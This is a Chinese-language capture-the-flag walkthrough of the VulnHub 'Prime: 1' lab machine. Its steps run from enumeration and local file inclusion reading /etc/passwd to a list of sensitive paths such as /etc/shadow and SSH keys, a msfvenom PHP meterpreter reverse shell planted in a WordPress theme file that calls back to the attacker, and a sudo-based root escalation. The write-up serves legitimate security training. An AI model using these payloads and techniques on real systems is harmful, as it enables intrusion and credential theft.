---
# System prepended metadata

title: 'VulnHub 靶場實戰 - Prime: 1'
tags: [VulnHub]

---

# VulnHub 靶場實戰系列 - Prime: 1

:::info
Description:

This machine is designed for those one who is trying to prepare for OSCP or OSCP-Exam.  

This is first level of prime series. Some help at every stage is given. Machine is lengthy as OSCP and Hackthebox's machines are designed.  

So you have a target to get root flag as well as user flag. If stuck on a point some help are given at a level of enumeration. 
:::

0x00 目錄
---
[TOC]


0x01 環境部署
---
* **攻擊機：**[Kali Linux 2024.1 Release](https://www.kali.org/blog/kali-linux-2024-1-release/)
* **靶機：**[Prime: 1](https://www.vulnhub.com/entry/prime-1,358/)
* **虛擬機軟體**：[VMware Workstation 17 Player](https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html)
* **網路：** 均設定成 NAT 模式
* **目標：★ 獲得靶機 Flag ★**

| Machine                                                      |       IP        |       User        |
|:------------------------------------------------------------ |:---------------:|:-----------------:|
| Kali Linux ![圖片](https://hackmd.io/_uploads/H1efK1dgC.png) | 192.168.206.132 |       kali        |
| Prime: 1   ![圖片](https://hackmd.io/_uploads/r1npOyOxR.png) |      未知       | victor (未知密碼) |


0x02 資訊蒐集
---
> **區網內 Class C 主機發現和通訊埠掃描 ▼**
```bash
kali@kali:~$ nmap 192.168.206.0/24
```
![圖片](https://hackmd.io/_uploads/Symqo1de0.png)  
<font color=#808080>發現開啟 22 和 80 port、IP 為 192.168.206.132 的 Prime: 1 靶機。</font>


> **訪問 http://192.168.206.132 ▼**

![圖片](https://hackmd.io/_uploads/BkWo7XdeC.png)

> **查看原始碼 ▼**
```bash
kali@kali:~$ curl http://192.168.206.132
```
![圖片](https://hackmd.io/_uploads/Hytp2ZueR.png)  
<font color=#808080>只有一張名為 "hacknpentest.png" 的圖片，似乎沒有什麼可以利用的地方。</font>


0x03 目錄掃描
---
> **用 `dirb` 工具對靶機進行目錄掃描 ▼**
```bash
kali@kali:~$ dirb http://192.168.206.132
```
![圖片](https://hackmd.io/_uploads/Bk68WedxA.png)

> **訪問 http://192.168.206.132/dev ▼**

![圖片](https://hackmd.io/_uploads/S1B07QOxC.png)
<font color=#808080>沒有什麼有用的資訊。</font>

> **接著我們指定檔案類型為 `txt`、`php` 和 `zip` 看看 ▼**
```bash
kali@kali:~$ dirb http://192.168.206.132 -X .txt,.php,.zip 
```
![圖片](https://hackmd.io/_uploads/HkVk2xOl0.png)  
<font color=#808080>找到三個檔案。</font>

> **訪問 http://192.168.206.132/secret.txt ▼**

![圖片](https://hackmd.io/_uploads/SyNRMX_l0.png)
![圖片](https://hackmd.io/_uploads/Sk3L3g_xR.png)
<font color=#808080>這邊提示我們可以對剛剛找到的另外兩個 .php 檔進行 `模糊測試 (Fuzzing)`。</font>


0x04 FUZZ 和 本機檔案包含 (LFI)
---
![圖片](https://hackmd.io/_uploads/SJyhfmueR.png)

> **根據提示使用 `wfuzz` 指令，對 `index.php` 和 `image.php` 進行模糊測試 ▼**
```bash
kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 http://192.168.206.132/image.php?FUZZ
```
![圖片](https://hackmd.io/_uploads/r1L-xmdxA.png)
```bash
kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 http://192.168.206.132/index.php?FUZZ
```
![圖片](https://hackmd.io/_uploads/SkQ1xm_l0.png)  
<font color=#808080>這邊出現很多無效訊息，我們還要再進行過濾。</font>

> **`image.php` 過濾 `Chars = 147` ▼**
```bash
kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hh 147 http://192.168.206.132/image.php?FUZZ
```
![圖片](https://hackmd.io/_uploads/r1mqgmulA.png)  
<font color=#808080>什麼都沒發現，換試看看 `index.php`。</font>

> **`index.php` 過濾 `Chars = 136` ▼**
```bash
kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hh 136 http://192.168.206.132/index.php?FUZZ
```
![圖片](https://hackmd.io/_uploads/Hyny2GOxC.png)  
<font color=#808080>得到參數 `file`。</font>

> **代入 `file`**
```bash
kali@kali:~$ curl http://192.168.206.132/index.php?file
```
![圖片](https://hackmd.io/_uploads/HJJrTWOxC.png)  
<font color=#808080>提示我們方向是對的，但沒有挖到正確的檔案。</font>

:point_down: **代入 `location.txt`**
:::info
kali@kali:~$ curl http://192.168.206.132/index.php?file=location.txt
:::
![圖片](https://hackmd.io/_uploads/rJUk0WOxR.png)
得到參數 ==secrettier360==，並提示我們可以把他代入到 `image.php` 頁面看看。

:point_down: **代入 `secrettier360`**
:::info
kali@kali:~$ curl http://192.168.206.132/image.php?secrettier360
:::
![圖片](https://hackmd.io/_uploads/HJkqlzOxR.png)
**提示我們終於找到正確的參數了!**


0x05 WordPress 漏洞利用
---
這邊列出一些 **LFI (Local File Inclusion)** 常見的敏感路徑：

| LFI 常見敏感路徑 (Linux) | 說明 | 
| :-------- | :--------| 
| /etc/passwd     | 帳號資訊     | 
| /etc/shadow     | 密碼     | 
| /usr/local/app/apache2/conf/httpd.conf     | Apache2 預設設定檔     | 
| /usr/local/app/apache2/conf/extra/httpd-vhost.conf     | 虛擬網站設定     | 
| /usr/local/app/php5/lib/php.ini     | PHP 設定     | 
| /etc/httpd/conf/httpd.conf     | Apacha 預設設定檔     | 
| /etc/my.conf     | MySQL 檔     | 
| /etc/nginx/nginx.conf     | Nginx 設定檔     | 
| /etc/nginx/sites-enabled/default.conf    | Nginx 預設設定檔     | 
| /root/.ssh/id_rsa    | ssh key    | 

:point_down: **先試看看 `/etc/passwd`**
:::info
kali@kali:~$ curl http://192.168.206.132/image.php?secrettier360=/etc/passwd
:::
![圖片](https://hackmd.io/_uploads/B1Q0dNKlR.png)
...
![圖片](https://hackmd.io/_uploads/HyMzKVYlC.png)
運氣不錯，得到提示：「**find password.txt file in my directory:/home/saket**」。

:point_down: **代入`/home/saket/password.txt`**
:::info
kali@kali:~$ curl http://192.168.206.132/image.php?secrettier360=/home/saket/password.txt
:::
![圖片](https://hackmd.io/_uploads/ByooTfYg0.png)
獲得密碼：==**follow_the_ippsec**==！

:point_down: **不確定這個密碼可以用在哪裡，先試看看 ssh 連線**
:::info
kali@kali:~$ ssh victor@192.168.206.132
:::
![圖片](https://hackmd.io/_uploads/SydEZmYeA.png)
失敗，看來應該是別的地方的密碼。

:point_down: **回想前面 dirb 目錄搜尋結果得知，這個靶機上面架了一個 WordPress 網站**
![圖片](https://hackmd.io/_uploads/SyBTYmdgC.png)

:point_down: **用 `wpscan` 分析看看，加上 `-eu` 挖掘使用者帳號**
:::info
kali@kali:~$ wpscan --url http://192.168.206.132/wordpress/ -eu
:::
![圖片](https://hackmd.io/_uploads/SJJxxmteC.png)
找到一個名為 ==**victor**== 的使用者。

:point_down: **有用過 WordPress 的應該知道，在網址後面加上 `/wp-admin` 就能進到後台登入頁面**
![圖片](https://hackmd.io/_uploads/Skw7Fmdl0.png)

:point_down: **嘗試 ==帳號：victor== / ==密碼：follow_the_ippsec==，成功登入!**
![圖片](https://hackmd.io/_uploads/HkDQ6XOeA.png)

:point_down: **首先進到外掛頁面，隨便新增一個檔案看看有沒有檔案上傳漏洞 (File Upload)**
![圖片](https://hackmd.io/_uploads/H1ewcIFg0.png)
![圖片](https://hackmd.io/_uploads/r14ToUtgC.png)
![圖片](https://hackmd.io/_uploads/ry-99UtxA.png)
失敗，提示伺服器沒有寫入父目錄的權限。

:point_down: **接著進到外觀頁面，看看有什麼可以利用的地方**
![圖片](https://hackmd.io/_uploads/BJDE3LFxC.png)
發現 **secret.php**！提示我們終於找到可以寫入的文件了。

0x06 msfvenom 腳本生成
---
:point_down: **生成反向 shell (Reverse shell) 腳本**
:::info
kali@kali:~$ msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.206.129 lport=1111 
:::
![圖片](https://hackmd.io/_uploads/ByPgePFgA.png)

:point_down: **複製到 `secret.php` 後 Update**
![圖片](https://hackmd.io/_uploads/HJyixDYgA.png)

:point_down: **打開 `msfconsole`，並設定 `lhost`、`lport` 和 `payload`**
:::info
kali@kali:~$ msfconsole
:::

:::warning
msf6 > use exploit/multi/handler
msf6 > 
msf6 > set lhost 192.168.206.129
msf6 > set lport 1111
msf6 > set payload php/meterpreter/reverse_tcp
msf6 > 
msf6 > options
:::
![圖片](https://hackmd.io/_uploads/Sk4N_wYxC.png)

:point_down: **接著開啟監聽，並訪問`http://192.168.206.132/wordpress/wp-content/themes/twentynineteen/secret.php`**
:::warning
msf6 > exploit
:::
![圖片](https://hackmd.io/_uploads/rymoHPKlC.png)
**成功！**

0x07 Linux 特權提升 (Privilege Escalation) - 1
---
:point_down: **切換到系統的 shell**
:::warning
meterpreter > shell
:::
:point_down: **用 Python 升级到完全交互式 shell**
:::warning
python -c 'import pty;pty.spawn("/bin/bash")'
:::
![圖片](https://hackmd.io/_uploads/S1YERrqxR.png)
變成熟悉的終端介面了。

:point_down: **輸入 `sudo -l` 查看權限**
![圖片](https://hackmd.io/_uploads/rJNRAHqg0.png)
發現當前用戶有不用 root 密碼就能執行 /home/saket/enc 的權限

:point_down: **切換到 /home/saket 並顯示該目錄底下的內容**
![圖片](https://hackmd.io/_uploads/BJ06JUceR.png)

:point_down: **執行 `enc`，並輸入密碼: `follow_the_ippsec`**
:::warning
www-data@ubuntu:/home/saket$ sudo ./enc
:::
![圖片](https://hackmd.io/_uploads/BJcdmUqlR.png)
什麼事都沒發生，代表應該不是這個密碼。

:point_down: 那我們嘗試搜尋看看有沒有密碼備份，有時候管理員會習慣在系統中備份密碼
:::warning
www-data@ubuntu:/home/saket$ find / -name '*backup*' 2>/dev/null  | less| sort
:::
![圖片](https://hackmd.io/_uploads/BJrOVI5gR.png)
找到疑似密碼備份

:point_down: **打開看看**
:::warning
www-data@ubuntu:/home/saket$ cat /opt/backup/server_database/backup_pass
:::
![圖片](https://hackmd.io/_uploads/ryOAEU5eC.png)
成功找到 `enc` 檔案的密碼：==**backup_password**==!

:point_down: **回到上面的步驟，執行 `enc` 並輸入密碼：`backup_password`**
![圖片](https://hackmd.io/_uploads/SyGNrU5eR.png)
![圖片](https://hackmd.io/_uploads/H1snB8cgR.png)
提示 good，並且在該目錄下生成了 `enc.txt` 和 `key.txt`。

:point_down: **分別查看檔案內容**
:::warning
www-data@ubuntu:/home/saket$ cat enc.txt
:::
![圖片](https://hackmd.io/_uploads/HJZP8UqxA.png)
:::warning
www-data@ubuntu:/home/saket$ cat key.txt
:::
![圖片](https://hackmd.io/_uploads/ry-dLUce0.png)
提示說要對 `ippsec` 進行 md5 加密，然後再拿去解 enc.txt

:point_down: **對 `ippsec` 進行 md5 加密**
:::warning
www-data@ubuntu:/home/saket$ echo -n "ippsec" | md5sum
:::
![圖片](https://hackmd.io/_uploads/Skpgrw5l0.png)
得到 ==**366a74cb3c959de17d61db30591c39d1**==。

:point_down: **前往 [線上AES加解密工具](https://devglan.com/online-tools/aes-encryption-decryption)，複製要解密的內容和剛剛得到的 key**  
![圖片](https://hackmd.io/_uploads/HJnhvv9g0.png)  
> 得到 `Dont worry saket one day we will reach toour destination very soon. And if you forget your username then use your old password==> "tribute_to_ippsec"Victor,`，所以這邊得到 **saket** 用戶的密碼：**==tribute_to_ippsec==**。

:point_down: **切換成saket並登入**
:::warning
www-data@ubuntu:/home/saket$ su saket
:::
![圖片](https://hackmd.io/_uploads/HykZguclR.png)
成功。

:point_down: **查看權限**
:::warning
saket@ubuntu:~$ sudo -l
:::
![圖片](https://hackmd.io/_uploads/ryX5xd5eC.png)

![圖片](https://hackmd.io/_uploads/rJlU-_cl0.png)
提示找不到 `/tmp/challenge` 檔案，既然沒有就自己創一個。

:point_down: **切換到 `/tmp` 並創建 `challenge` 檔案，然後寫入內容 `/bin/bash`**
:::warning
saket@ubuntu:/tmp$ echo "/bin/bash" > challenge
saket@ubuntu:/tmp$ 
saket@ubuntu:/tmp$ chmod +x challenge
:::
:point_down: **再重新執行 sudo /home/victor/undefeated_victor**
![圖片](https://hackmd.io/_uploads/HkhP7OqeR.png)
拿到 root 的 shell 了。

:point_down: **最後切換到 `/root` 並打開 `root.txt`
:::warning
root@ubuntu:/tmp# cd /root
root@ubuntu:/root#
root@ubuntu:/root# cat root.txt
:::
得到我們的靶機 flag: ==**b2b17036da1de94cfb024540a8e7075a**==！

0x07 Linux 特權提升 (Privilege Escalation) - 2
---
更新中 ...